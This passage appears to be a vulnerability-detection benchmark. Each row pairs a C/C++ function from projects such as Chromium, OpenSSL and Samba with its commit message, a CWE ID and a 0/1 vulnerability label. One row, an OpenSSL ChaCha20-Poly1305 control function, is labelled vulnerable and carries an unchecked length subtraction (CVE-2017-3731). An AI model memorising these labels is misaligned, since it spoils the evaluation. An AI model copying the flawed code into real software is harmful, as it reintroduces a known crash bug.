instruction
stringclasses 1
value | input
stringlengths 56
241k
| output
int64 0
1
| __index_level_0__
int64 0
175k
|
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void BackendIO::WriteSparseData(EntryImpl* entry,
int64_t offset,
net::IOBuffer* buf,
int buf_len) {
operation_ = OP_WRITE_SPARSE;
entry_ = entry;
offset64_ = offset;
buf_ = buf;
buf_len_ = buf_len;
}
Commit Message: Blockfile cache: fix long-standing sparse + evict reentrancy problem
Thanks to nedwilliamson@ (on gmail) for an alternative perspective
plus a reduction to make fixing this much easier.
Bug: 826626, 518908, 537063, 802886
Change-Id: Ibfa01416f9a8e7f7b361e4f93b4b6b134728b85f
Reviewed-on: https://chromium-review.googlesource.com/985052
Reviewed-by: Matt Menke <mmenke@chromium.org>
Commit-Queue: Maks Orlovich <morlovich@chromium.org>
Cr-Commit-Position: refs/heads/master@{#547103}
CWE ID: CWE-20
| 0
| 147,355
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void FakeBluetoothAgentManagerClient::RequestDefaultAgent(
const dbus::ObjectPath& agent_path,
const base::Closure& callback,
const ErrorCallback& error_callback) {
VLOG(1) << "RequestDefaultAgent: " << agent_path.value();
callback.Run();
}
Commit Message: Refactor to support default Bluetooth pairing delegate
In order to support a default pairing delegate we need to move the agent
service provider delegate implementation from BluetoothDevice to
BluetoothAdapter while retaining the existing API.
BUG=338492
TEST=device_unittests, unit_tests, browser_tests
Review URL: https://codereview.chromium.org/148293003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@252216 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 112,501
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int ASN1_INTEGER_cmp(const ASN1_INTEGER *x, const ASN1_INTEGER *y)
{
int neg, ret;
/* Compare signs */
neg = x->type & V_ASN1_NEG;
if (neg != (y->type & V_ASN1_NEG)) {
if (neg)
return -1;
else
return 1;
}
ret = ASN1_STRING_cmp(x, y);
if (neg)
return -ret;
else
return ret;
}
Commit Message:
CWE ID: CWE-119
| 0
| 12,824
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void FragmentPaintPropertyTreeBuilder::UpdateForChildren() {
#if DCHECK_IS_ON()
FindObjectPropertiesNeedingUpdateScope check_needs_update_scope(
object_, fragment_data_, full_context_.force_subtree_update);
#endif
if (properties_) {
UpdateInnerBorderRadiusClip();
UpdateOverflowClip();
UpdatePerspective();
UpdateSvgLocalToBorderBoxTransform();
UpdateScrollAndScrollTranslation();
}
UpdateOutOfFlowContext();
}
Commit Message: Reland "[CI] Make paint property nodes non-ref-counted"
This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7.
Reason for revert: Retry in M69.
Original change's description:
> Revert "[CI] Make paint property nodes non-ref-counted"
>
> This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123.
>
> Reason for revert: Caused bugs found by clusterfuzz
>
> Original change's description:
> > [CI] Make paint property nodes non-ref-counted
> >
> > Now all paint property nodes are owned by ObjectPaintProperties
> > (and LocalFrameView temporarily before removing non-RLS mode).
> > Others just use raw pointers or references.
> >
> > Bug: 833496
> > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae
> > Reviewed-on: https://chromium-review.googlesource.com/1031101
> > Reviewed-by: Tien-Ren Chen <trchen@chromium.org>
> > Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> > Cr-Commit-Position: refs/heads/master@{#554626}
>
> TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
>
> Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f
> No-Presubmit: true
> No-Tree-Checks: true
> No-Try: true
> Bug: 833496,837932,837943
> Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> Reviewed-on: https://chromium-review.googlesource.com/1034292
> Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
> Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#554653}
TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
# Not skipping CQ checks because original CL landed > 1 day ago.
Bug: 833496, 837932, 837943
Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992
Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
Reviewed-on: https://chromium-review.googlesource.com/1083491
Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#563930}
CWE ID:
| 0
| 125,462
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void btif_dm_ble_passkey_req_evt(tBTA_DM_PIN_REQ *p_pin_req)
{
bt_bdaddr_t bd_addr;
bt_bdname_t bd_name;
UINT32 cod;
int dev_type;
/* Remote name update */
if (!btif_get_device_type(p_pin_req->bd_addr, &dev_type))
{
dev_type = BT_DEVICE_TYPE_BLE;
}
btif_dm_update_ble_remote_properties(p_pin_req->bd_addr,p_pin_req->bd_name,
(tBT_DEVICE_TYPE) dev_type);
bdcpy(bd_addr.address, p_pin_req->bd_addr);
memcpy(bd_name.name, p_pin_req->bd_name, BD_NAME_LEN);
bond_state_changed(BT_STATUS_SUCCESS, &bd_addr, BT_BOND_STATE_BONDING);
pairing_cb.is_le_only = TRUE;
cod = COD_UNCLASSIFIED;
HAL_CBACK(bt_hal_cbacks, pin_request_cb,
&bd_addr, &bd_name, cod, FALSE);
}
Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process
Bug: 28885210
Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360
Conflicts:
btif/co/bta_hh_co.c
btif/src/btif_core.c
Merge conflict resolution of ag/1161415 (referencing ag/1164670)
- Directly into mnc-mr2-release
CWE ID: CWE-284
| 0
| 158,574
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void remove_vqs(struct ports_device *portdev)
{
portdev->vdev->config->del_vqs(portdev->vdev);
kfree(portdev->in_vqs);
kfree(portdev->out_vqs);
}
Commit Message: virtio-console: avoid DMA from stack
put_chars() stuffs the buffer it gets into an sg, but that buffer may be
on the stack. This breaks with CONFIG_VMAP_STACK=y (for me, it
manifested as printks getting turned into NUL bytes).
Signed-off-by: Omar Sandoval <osandov@fb.com>
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Reviewed-by: Amit Shah <amit.shah@redhat.com>
CWE ID: CWE-119
| 0
| 66,616
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: GapRects RenderBlockFlow::inlineSelectionGaps(RenderBlock* rootBlock, const LayoutPoint& rootBlockPhysicalPosition, const LayoutSize& offsetFromRootBlock,
LayoutUnit& lastLogicalTop, LayoutUnit& lastLogicalLeft, LayoutUnit& lastLogicalRight, const PaintInfo* paintInfo)
{
GapRects result;
bool containsStart = selectionState() == SelectionStart || selectionState() == SelectionBoth;
if (!firstLineBox()) {
if (containsStart) {
lastLogicalTop = rootBlock->blockDirectionOffset(offsetFromRootBlock) + logicalHeight();
lastLogicalLeft = logicalLeftSelectionOffset(rootBlock, logicalHeight());
lastLogicalRight = logicalRightSelectionOffset(rootBlock, logicalHeight());
}
return result;
}
RootInlineBox* lastSelectedLine = 0;
RootInlineBox* curr;
for (curr = firstRootBox(); curr && !curr->hasSelectedChildren(); curr = curr->nextRootBox()) { }
for (; curr && curr->hasSelectedChildren(); curr = curr->nextRootBox()) {
LayoutUnit selTop = curr->selectionTopAdjustedForPrecedingBlock();
LayoutUnit selHeight = curr->selectionHeightAdjustedForPrecedingBlock();
if (!containsStart && !lastSelectedLine && selectionState() != SelectionStart && selectionState() != SelectionBoth) {
result.uniteCenter(blockSelectionGap(rootBlock, rootBlockPhysicalPosition, offsetFromRootBlock, lastLogicalTop,
lastLogicalLeft, lastLogicalRight, selTop, paintInfo));
}
LayoutRect logicalRect(curr->logicalLeft(), selTop, curr->logicalWidth(), selTop + selHeight);
logicalRect.move(isHorizontalWritingMode() ? offsetFromRootBlock : offsetFromRootBlock.transposedSize());
LayoutRect physicalRect = rootBlock->logicalRectToPhysicalRect(rootBlockPhysicalPosition, logicalRect);
if (!paintInfo || (isHorizontalWritingMode() && physicalRect.y() < paintInfo->rect.maxY() && physicalRect.maxY() > paintInfo->rect.y())
|| (!isHorizontalWritingMode() && physicalRect.x() < paintInfo->rect.maxX() && physicalRect.maxX() > paintInfo->rect.x()))
result.unite(curr->lineSelectionGap(rootBlock, rootBlockPhysicalPosition, offsetFromRootBlock, selTop, selHeight, paintInfo));
lastSelectedLine = curr;
}
if (containsStart && !lastSelectedLine) {
lastSelectedLine = lastRootBox();
}
if (lastSelectedLine && selectionState() != SelectionEnd && selectionState() != SelectionBoth) {
lastLogicalTop = rootBlock->blockDirectionOffset(offsetFromRootBlock) + lastSelectedLine->selectionBottom();
lastLogicalLeft = logicalLeftSelectionOffset(rootBlock, lastSelectedLine->selectionBottom());
lastLogicalRight = logicalRightSelectionOffset(rootBlock, lastSelectedLine->selectionBottom());
}
return result;
}
Commit Message: Separate repaint and layout requirements of StyleDifference (Step 1)
Previously StyleDifference was an enum that proximately bigger values
imply smaller values (e.g. StyleDifferenceLayout implies
StyleDifferenceRepaint). This causes unnecessary repaints in some cases
on layout change.
Convert StyleDifference to a structure containing relatively independent
flags.
This change doesn't directly improve the result, but can make further
repaint optimizations possible.
Step 1 doesn't change any functionality. RenderStyle still generate the
legacy StyleDifference enum when comparing styles and convert the result
to the new StyleDifference. Implicit requirements are not handled during
the conversion.
Converted call sites to use the new StyleDifference according to the
following conversion rules:
- diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange()
- diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly()
- diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout()
- diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout()
- diff > StyleDifferenceRepaintLayer => diff.needsLayout()
- diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly()
- diff == StyleDifferenceLayout => diff.needsFullLayout()
BUG=358460
TEST=All existing layout tests.
R=eseidel@chromium.org, esprehn@chromium.org, jchaffraix@chromium.org
Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983
Review URL: https://codereview.chromium.org/236203020
git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
| 0
| 116,375
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: WebContents* WebContentsImpl::GetEmbedderWebContents() const {
BrowserPluginGuest* guest = GetBrowserPluginGuest();
if (guest)
return guest->embedder_web_contents();
return NULL;
}
Commit Message: Cancel JavaScript dialogs when an interstitial appears.
BUG=295695
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/24360011
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 110,634
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline void tree_mod_log_read_lock(struct btrfs_fs_info *fs_info)
{
read_lock(&fs_info->tree_mod_log_lock);
}
Commit Message: Btrfs: make xattr replace operations atomic
Replacing a xattr consists of doing a lookup for its existing value, delete
the current value from the respective leaf, release the search path and then
finally insert the new value. This leaves a time window where readers (getxattr,
listxattrs) won't see any value for the xattr. Xattrs are used to store ACLs,
so this has security implications.
This change also fixes 2 other existing issues which were:
*) Deleting the old xattr value without verifying first if the new xattr will
fit in the existing leaf item (in case multiple xattrs are packed in the
same item due to name hash collision);
*) Returning -EEXIST when the flag XATTR_CREATE is given and the xattr doesn't
exist but we have have an existing item that packs muliple xattrs with
the same name hash as the input xattr. In this case we should return ENOSPC.
A test case for xfstests follows soon.
Thanks to Alexandre Oliva for reporting the non-atomicity of the xattr replace
implementation.
Reported-by: Alexandre Oliva <oliva@gnu.org>
Signed-off-by: Filipe Manana <fdmanana@suse.com>
Signed-off-by: Chris Mason <clm@fb.com>
CWE ID: CWE-362
| 0
| 45,367
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: MagickExport Image *NewMagickImage(const ImageInfo *image_info,
const size_t width,const size_t height,const MagickPixelPacket *background)
{
CacheView
*image_view;
ExceptionInfo
*exception;
Image
*image;
ssize_t
y;
MagickBooleanType
status;
assert(image_info != (const ImageInfo *) NULL);
if (image_info->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"...");
assert(image_info->signature == MagickSignature);
assert(background != (const MagickPixelPacket *) NULL);
image=AcquireImage(image_info);
image->columns=width;
image->rows=height;
image->colorspace=background->colorspace;
image->matte=background->matte;
image->fuzz=background->fuzz;
image->depth=background->depth;
status=MagickTrue;
exception=(&image->exception);
image_view=AcquireAuthenticCacheView(image,exception);
#if defined(MAGICKCORE_OPENMP_SUPPORT)
#pragma omp parallel for schedule(static,4) shared(status) \
magick_threads(image,image,image->rows,1)
#endif
for (y=0; y < (ssize_t) image->rows; y++)
{
register IndexPacket
*magick_restrict indexes;
register PixelPacket
*magick_restrict q;
register ssize_t
x;
if (status == MagickFalse)
continue;
q=QueueCacheViewAuthenticPixels(image_view,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
{
status=MagickFalse;
continue;
}
indexes=GetCacheViewAuthenticIndexQueue(image_view);
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelPacket(image,background,q,indexes+x);
q++;
}
if (SyncCacheViewAuthenticPixels(image_view,exception) == MagickFalse)
status=MagickFalse;
}
image_view=DestroyCacheView(image_view);
if (status == MagickFalse)
image=DestroyImage(image);
return(image);
}
Commit Message: Fixed incorrect call to DestroyImage reported in #491.
CWE ID: CWE-617
| 0
| 64,524
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int __init icmp_init(void)
{
return register_pernet_subsys(&icmp_sk_ops);
}
Commit Message: inet: add RCU protection to inet->opt
We lack proper synchronization to manipulate inet->opt ip_options
Problem is ip_make_skb() calls ip_setup_cork() and
ip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options),
without any protection against another thread manipulating inet->opt.
Another thread can change inet->opt pointer and free old one under us.
Use RCU to protect inet->opt (changed to inet->inet_opt).
Instead of handling atomic refcounts, just copy ip_options when
necessary, to avoid cache line dirtying.
We cant insert an rcu_head in struct ip_options since its included in
skb->cb[], so this patch is large because I had to introduce a new
ip_options_rcu structure.
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Cc: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-362
| 0
| 18,856
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void BrowserCommandController::UpdateOpenFileState() {
bool enabled = true;
PrefService* local_state = g_browser_process->local_state();
if (local_state)
enabled = local_state->GetBoolean(prefs::kAllowFileSelectionDialogs);
command_updater_.UpdateCommandEnabled(IDC_OPEN_FILE, enabled);
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 117,884
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int chacha20_poly1305_ctrl(EVP_CIPHER_CTX *ctx, int type, int arg,
void *ptr)
{
EVP_CHACHA_AEAD_CTX *actx = aead_data(ctx);
switch(type) {
case EVP_CTRL_INIT:
if (actx == NULL)
actx = ctx->cipher_data
= OPENSSL_zalloc(sizeof(*actx) + Poly1305_ctx_size());
if (actx == NULL) {
EVPerr(EVP_F_CHACHA20_POLY1305_CTRL, EVP_R_INITIALIZATION_ERROR);
return 0;
}
actx->len.aad = 0;
actx->len.text = 0;
actx->aad = 0;
actx->mac_inited = 0;
actx->tag_len = 0;
actx->nonce_len = 12;
actx->tls_payload_length = NO_TLS_PAYLOAD_LENGTH;
return 1;
case EVP_CTRL_COPY:
if (actx) {
EVP_CIPHER_CTX *dst = (EVP_CIPHER_CTX *)ptr;
dst->cipher_data =
OPENSSL_memdup(actx, sizeof(*actx) + Poly1305_ctx_size());
if (dst->cipher_data == NULL) {
EVPerr(EVP_F_CHACHA20_POLY1305_CTRL, EVP_R_COPY_ERROR);
return 0;
}
}
return 1;
case EVP_CTRL_AEAD_SET_IVLEN:
if (arg <= 0 || arg > CHACHA_CTR_SIZE)
return 0;
actx->nonce_len = arg;
return 1;
case EVP_CTRL_AEAD_SET_IV_FIXED:
if (arg != 12)
return 0;
actx->nonce[0] = actx->key.counter[1]
= CHACHA_U8TOU32((unsigned char *)ptr);
actx->nonce[1] = actx->key.counter[2]
= CHACHA_U8TOU32((unsigned char *)ptr+4);
actx->nonce[2] = actx->key.counter[3]
= CHACHA_U8TOU32((unsigned char *)ptr+8);
return 1;
case EVP_CTRL_AEAD_SET_TAG:
if (arg <= 0 || arg > POLY1305_BLOCK_SIZE)
return 0;
if (ptr != NULL) {
memcpy(actx->tag, ptr, arg);
actx->tag_len = arg;
}
return 1;
case EVP_CTRL_AEAD_GET_TAG:
if (arg <= 0 || arg > POLY1305_BLOCK_SIZE || !ctx->encrypt)
return 0;
memcpy(ptr, actx->tag, arg);
return 1;
case EVP_CTRL_AEAD_TLS1_AAD:
if (arg != EVP_AEAD_TLS1_AAD_LEN)
return 0;
{
unsigned int len;
unsigned char *aad = ptr, temp[POLY1305_BLOCK_SIZE];
len = aad[EVP_AEAD_TLS1_AAD_LEN - 2] << 8 |
aad[EVP_AEAD_TLS1_AAD_LEN - 1];
if (!ctx->encrypt) {
len -= POLY1305_BLOCK_SIZE; /* discount attached tag */
memcpy(temp, aad, EVP_AEAD_TLS1_AAD_LEN - 2);
aad = temp;
temp[EVP_AEAD_TLS1_AAD_LEN - 2] = (unsigned char)(len >> 8);
temp[EVP_AEAD_TLS1_AAD_LEN - 1] = (unsigned char)len;
}
actx->tls_payload_length = len;
/*
* merge record sequence number as per
* draft-ietf-tls-chacha20-poly1305-03
*/
actx->key.counter[1] = actx->nonce[0];
actx->key.counter[2] = actx->nonce[1] ^ CHACHA_U8TOU32(aad);
actx->key.counter[3] = actx->nonce[2] ^ CHACHA_U8TOU32(aad+4);
actx->mac_inited = 0;
chacha20_poly1305_cipher(ctx, NULL, aad, EVP_AEAD_TLS1_AAD_LEN);
return POLY1305_BLOCK_SIZE; /* tag length */
}
case EVP_CTRL_AEAD_SET_MAC_KEY:
/* no-op */
return 1;
default:
return -1;
}
}
Commit Message: crypto/evp: harden AEAD ciphers.
Originally a crash in 32-bit build was reported CHACHA20-POLY1305
cipher. The crash is triggered by truncated packet and is result
of excessive hashing to the edge of accessible memory. Since hash
operation is read-only it is not considered to be exploitable
beyond a DoS condition. Other ciphers were hardened.
Thanks to Robert Święcki for report.
CVE-2017-3731
Reviewed-by: Rich Salz <rsalz@openssl.org>
CWE ID: CWE-125
| 1
| 168,432
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DevToolsUIBindings::PerformActionOnRemotePage(const std::string& page_id,
const std::string& action) {
if (!remote_targets_handler_)
return;
scoped_refptr<content::DevToolsAgentHost> host =
remote_targets_handler_->GetTarget(page_id);
if (!host)
return;
if (action == kRemotePageActionInspect)
delegate_->Inspect(host);
else if (action == kRemotePageActionReload)
host->Reload();
else if (action == kRemotePageActionActivate)
host->Activate();
else if (action == kRemotePageActionClose)
host->Close();
}
Commit Message: DevTools: move front-end URL handling to DevToolsUIBindingds
BUG=662859
Review-Url: https://codereview.chromium.org/2607833002
Cr-Commit-Position: refs/heads/master@{#440926}
CWE ID: CWE-200
| 0
| 138,338
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int vfs_allocate_file_space(files_struct *fsp, uint64_t len)
{
int ret;
connection_struct *conn = fsp->conn;
uint64_t space_avail;
uint64_t bsize,dfree,dsize;
NTSTATUS status;
/*
* Actually try and commit the space on disk....
*/
DEBUG(10,("vfs_allocate_file_space: file %s, len %.0f\n",
fsp_str_dbg(fsp), (double)len));
if (((off_t)len) < 0) {
DEBUG(0,("vfs_allocate_file_space: %s negative len "
"requested.\n", fsp_str_dbg(fsp)));
errno = EINVAL;
return -1;
}
status = vfs_stat_fsp(fsp);
if (!NT_STATUS_IS_OK(status)) {
return -1;
}
if (len == (uint64_t)fsp->fsp_name->st.st_ex_size)
return 0;
if (len < (uint64_t)fsp->fsp_name->st.st_ex_size) {
/* Shrink - use ftruncate. */
DEBUG(10,("vfs_allocate_file_space: file %s, shrink. Current "
"size %.0f\n", fsp_str_dbg(fsp),
(double)fsp->fsp_name->st.st_ex_size));
contend_level2_oplocks_begin(fsp, LEVEL2_CONTEND_ALLOC_SHRINK);
flush_write_cache(fsp, SAMBA_SIZECHANGE_FLUSH);
if ((ret = SMB_VFS_FTRUNCATE(fsp, (off_t)len)) != -1) {
set_filelen_write_cache(fsp, len);
}
contend_level2_oplocks_end(fsp, LEVEL2_CONTEND_ALLOC_SHRINK);
return ret;
}
/* Grow - we need to test if we have enough space. */
contend_level2_oplocks_begin(fsp, LEVEL2_CONTEND_ALLOC_GROW);
if (lp_strict_allocate(SNUM(fsp->conn))) {
/* See if we have a syscall that will allocate beyond
end-of-file without changing EOF. */
ret = SMB_VFS_FALLOCATE(fsp, VFS_FALLOCATE_FL_KEEP_SIZE,
0, len);
} else {
ret = 0;
}
contend_level2_oplocks_end(fsp, LEVEL2_CONTEND_ALLOC_GROW);
if (ret == 0) {
/* We changed the allocation size on disk, but not
EOF - exactly as required. We're done ! */
return 0;
}
if (ret == -1 && errno == ENOSPC) {
return -1;
}
len -= fsp->fsp_name->st.st_ex_size;
len /= 1024; /* Len is now number of 1k blocks needed. */
space_avail = get_dfree_info(conn, fsp->fsp_name->base_name,
&bsize, &dfree, &dsize);
if (space_avail == (uint64_t)-1) {
return -1;
}
DEBUG(10,("vfs_allocate_file_space: file %s, grow. Current size %.0f, "
"needed blocks = %.0f, space avail = %.0f\n",
fsp_str_dbg(fsp), (double)fsp->fsp_name->st.st_ex_size, (double)len,
(double)space_avail));
if (len > space_avail) {
errno = ENOSPC;
return -1;
}
return 0;
}
Commit Message:
CWE ID: CWE-264
| 0
| 2,661
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: GLvoid StubGLColorMask(GLboolean red, GLboolean green, GLboolean blue,
GLboolean alpha) {
glColorMask(red, green, blue, alpha);
}
Commit Message: Add chromium_code: 1 to surface.gyp and gl.gyp to pick up -Werror.
It looks like this was dropped accidentally in http://codereview.chromium.org/6718027 (surface.gyp) and http://codereview.chromium.org/6722026 (gl.gyp)
Remove now-redudant code that's implied by chromium_code: 1.
Fix the warnings that have crept in since chromium_code: 1 was removed.
BUG=none
TEST=none
Committed: http://src.chromium.org/viewvc/chrome?view=rev&revision=91598
Review URL: http://codereview.chromium.org/7227009
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@91813 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189
| 0
| 99,547
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool HTMLCanvasElement::OriginClean() const {
if (GetDocument().GetSettings() &&
GetDocument().GetSettings()->GetDisableReadingFromCanvas()) {
return false;
}
if (PlaceholderFrame())
return PlaceholderFrame()->OriginClean();
return origin_clean_;
}
Commit Message: Clean up CanvasResourceDispatcher on finalizer
We may have pending mojo messages after GC, so we want to drop the
dispatcher as soon as possible.
Bug: 929757,913964
Change-Id: I5789bcbb55aada4a74c67a28758f07686f8911c0
Reviewed-on: https://chromium-review.googlesource.com/c/1489175
Reviewed-by: Ken Rockot <rockot@google.com>
Commit-Queue: Ken Rockot <rockot@google.com>
Commit-Queue: Fernando Serboncini <fserb@chromium.org>
Auto-Submit: Fernando Serboncini <fserb@chromium.org>
Cr-Commit-Position: refs/heads/master@{#635833}
CWE ID: CWE-416
| 0
| 152,103
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: error::Error GLES2DecoderPassthroughImpl::DoGetActiveUniformBlockName(
GLuint program,
GLuint index,
std::string* name) {
CheckErrorCallbackState();
GLuint program_service_id = GetProgramServiceID(program, resources_);
GLint max_name_length = 0;
api()->glGetProgramivFn(program_service_id,
GL_ACTIVE_UNIFORM_BLOCK_MAX_NAME_LENGTH,
&max_name_length);
if (CheckErrorCallbackState()) {
return error::kNoError;
}
std::vector<GLchar> buffer(max_name_length, 0);
GLsizei length = 0;
api()->glGetActiveUniformBlockNameFn(program_service_id, index,
max_name_length, &length, buffer.data());
DCHECK(length <= max_name_length);
*name = length > 0 ? std::string(buffer.data(), length) : std::string();
return error::kNoError;
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416
| 0
| 141,982
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void fpm_parent_resources_use(struct fpm_child_s *child) /* {{{ */
{
fpm_stdio_parent_use_pipes(child);
fpm_child_link(child);
}
/* }}} */
Commit Message: Fixed bug #73342
Directly listen on socket, instead of duping it to STDIN and
listening on that.
CWE ID: CWE-400
| 0
| 86,616
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ExpectSendConnectionMessageCallback(bool success) {
EXPECT_TRUE(success);
}
Commit Message: [Presentation API] Add layout test for connection.close() and fix test failures
Add layout test.
1-UA connection.close() hits NOTREACHED() in PresentationConnection::didChangeState(). Use PresentationConnection::didClose() instead.
BUG=697719
Review-Url: https://codereview.chromium.org/2730123003
Cr-Commit-Position: refs/heads/master@{#455225}
CWE ID:
| 0
| 129,521
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: apprentice_unmap(struct magic_map *map)
{
if (map == NULL)
return;
switch (map->type) {
#ifdef QUICK
case MAP_TYPE_MMAP:
if (map->p)
(void)munmap(map->p, map->len);
break;
#endif
case MAP_TYPE_MALLOC:
free(map->p);
break;
case MAP_TYPE_USER:
break;
default:
abort();
}
free(map);
}
Commit Message: - Add a limit to the number of ELF notes processed (Suggested by Alexander
Cherepanov)
- Restructure ELF note printing so that we don't print the same message
multiple times on repeated notes of the same kind.
CWE ID: CWE-399
| 0
| 45,948
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: armv6pmu_disable_event(struct hw_perf_event *hwc,
int idx)
{
unsigned long val, mask, evt, flags;
if (ARMV6_CYCLE_COUNTER == idx) {
mask = ARMV6_PMCR_CCOUNT_IEN;
evt = 0;
} else if (ARMV6_COUNTER0 == idx) {
mask = ARMV6_PMCR_COUNT0_IEN | ARMV6_PMCR_EVT_COUNT0_MASK;
evt = ARMV6_PERFCTR_NOP << ARMV6_PMCR_EVT_COUNT0_SHIFT;
} else if (ARMV6_COUNTER1 == idx) {
mask = ARMV6_PMCR_COUNT1_IEN | ARMV6_PMCR_EVT_COUNT1_MASK;
evt = ARMV6_PERFCTR_NOP << ARMV6_PMCR_EVT_COUNT1_SHIFT;
} else {
WARN_ONCE(1, "invalid counter number (%d)\n", idx);
return;
}
/*
* Mask out the current event and set the counter to count the number
* of ETM bus signal assertion cycles. The external reporting should
* be disabled and so this should never increment.
*/
raw_spin_lock_irqsave(&pmu_lock, flags);
val = armv6_pmcr_read();
val &= ~mask;
val |= evt;
armv6_pmcr_write(val);
raw_spin_unlock_irqrestore(&pmu_lock, flags);
}
Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface
